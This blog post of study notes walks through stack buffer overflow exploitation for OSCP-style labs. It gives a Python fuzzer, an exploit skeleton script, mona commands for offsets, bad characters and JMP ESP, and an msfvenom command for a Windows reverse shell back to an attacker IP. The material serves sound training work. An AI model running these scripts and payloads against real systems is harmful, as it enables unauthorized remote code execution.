Buffer Overflow
18 July, 2021
References
- johnjhacking's Buffer Overflow Guide
- TryHackMe's Buffer Overflow Room By Tib3rius
- TheCyberMentor's Buffer Overflow Guide
Tools I Used
- Immunity Debugger
- Python
- Mona Tools for Immunity Debugger
What is Buffer Overflow?
I strongly suggest reading the third link in the references, it has a great visual explanation of stack based buffer overflows, the type on the PWK course.
Routine
- Set Mona's working directory to a simpler known folder. This is useful later when comparing memory to check for bad characters.
!mona config -set workingfolder c:\mona\%p
- Fuzzing: This step involves sending a payload and seeing how the binary reacts. A large enough payload will be able to crash the program by overflowing into the EIP causing a bad memory access. The below snippet sends increasing length payloads to the binary and watches for an exception. Note the largest amount of bytes required to crash the program.
#!/usr/bin/env python3
import socket, time, sys
ip = "MACHINE_IP"
port = <PORT>
timeout = 5
prefix = ""
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
-
The previous step found the largest payload that would crash the program, however the exact size that will help in manipulating the EIP still needs to be found. To do this:
- Send a defined pattern to the program. Create it using
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <max_bytes> - Note the contents of the EIP
- Find that substring in the payload pattern
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <max_bytes> -q <EIP> - This will establish the offset at which the EIP is reached.
Use the below script, set the
payloadandoffsetwhen found - Send a defined pattern to the program. Create it using
import socket
ip = "MACHINE_IP"
port = <PORT>
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
-
Finding bad characters
- Generate a byte array using mona, and exclude the null byte
\x00by default!mona bytearray -b "\x00". This will place it in the file$MONA_DIR/bytearray.bin - Generate a byte array using the below python snippet and set it as the
payloadin the above exploit script
for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()- Run the exploit so that the payload is sent off, then compare the memory with the byte array generated by mona
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP_ADDRESS> - Consider the bad characters one by one, remove it from the mona payload and the local payload generated using the python snippet and send it off again. Keep on doing this till the comparison says "Unmodified"
- Generate a byte array using mona, and exclude the null byte
-
After knowing the offset to manipulate the EIP, next step is to overwrite it to gain control of the program. Given that the ESP is also open to manipulation, the EIP can be conveniently pointed to an instruction that leads to the manipulated ESP. Basically, the EIP contain an instruction to move to ESP i.e.
JMP ESPand the ESP can contain shell code i.e. a reverse shell payload.- Search for
jmp espin the binary using mona!mona jmp -r esp -cpb "\x00..."and set theretnto the address of that instruction in the above exploit. Keep in mind that it has to be written in Little Endian order. - Generate a reverse shell payload using
msfvenom, copy it and set it as thepayloadin the above exploit
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00..." -f c- Add 16 or more bytes of NOP padding
padding = "\x90" * 16 - Search for
With all the variables deduced, listen for a reverse shell and run the exploit to catch it!